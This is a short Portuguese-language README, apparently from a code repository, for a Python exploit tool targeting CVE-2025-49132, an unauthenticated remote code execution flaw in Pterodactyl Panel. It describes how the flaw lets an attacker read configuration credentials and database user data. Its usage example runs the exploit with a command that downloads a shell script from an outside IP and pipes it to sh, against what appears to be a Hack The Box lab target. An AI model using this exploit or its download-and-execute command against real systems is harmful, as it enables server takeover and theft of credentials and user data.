scroollocker/cve-2025-49132Exploit em Python para CVE-2025-49132, permitindo execução remota de código não autenticada no Pterodactyl Panel através de parâmetros de locale e namespace manipulados.
Impacto
Usando o /locales/locale.json com os parâmetros de consulta locale e namespace, um ator malicioso é capaz de executar código arbitrário, sem estar autenticado.
Com a capacidade de executar código arbitrário, essa vulnerabilidade pode ser explorada de inúmeras formas. Poderia ser usada para obter acesso ao servidor do Painel, ler credenciais da configuração do Painel (.env ou outros), extrair informações sensíveis do banco de dados (como detalhes de usuário [nome de usuário, e-mail, nome e sobrenome, senha hash, endereços IP, etc]), acessar arquivos de servidores gerenciados pelo painel, etc.
Como usar
python exploit.py --target "pterodactyl.htb" --cmd 'curl http://10.10.14.22:8080/dbs.sh | sh'